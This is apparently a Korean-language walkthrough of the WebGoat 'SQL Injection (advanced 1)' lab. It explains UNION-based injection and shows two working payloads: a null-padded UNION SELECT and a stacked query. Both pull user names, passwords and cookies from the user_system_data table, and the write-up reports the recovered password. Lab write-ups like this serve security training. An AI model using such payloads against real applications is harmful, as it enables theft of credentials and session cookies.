WebGoat - SQL Injection (advanced 1)
WebGoat - SQL Injection (advanced 1)
다른 테이블에서 데이터 추출하기
Union SQL Injection이란 2개 이상의 쿼리를 요청하여 결과를 얻는 UNION 연산자를 이용해 데이터베이스를 조작하는 공격이다.
WebGoat 데이터베이스의 여러 테이블 중 하나는 다음과 같다.
CREATE TABLE user_system_data (userid int not null primary key,
user_name varchar(12),
password varchar(10),
cookie varchar(30));
a) UNION 또는 JOIN으로 테이블들 결합하기
이전 문제에 사용했던 ‘Smith’를 입력해보면 7개의 애트리뷰트를 가진 다른 테이블을 확인할 수 있다.
이 테이블과 user_system_data 테이블을 UNION으로 결합해보자. 이 때, 애트리뷰트의 개수를 맞춰주어야 한다.
Smith' union select userid, user_name, password, cookie, null, null, null from user_system_data --
다중 쿼리를 이용해서 문제를 풀 수도 있다.
'; select * from user_system_data --
b) Dave의 password 추출하기
위의 결과를 통해 Dave의 password는 passW0rD임을 알 수 있다.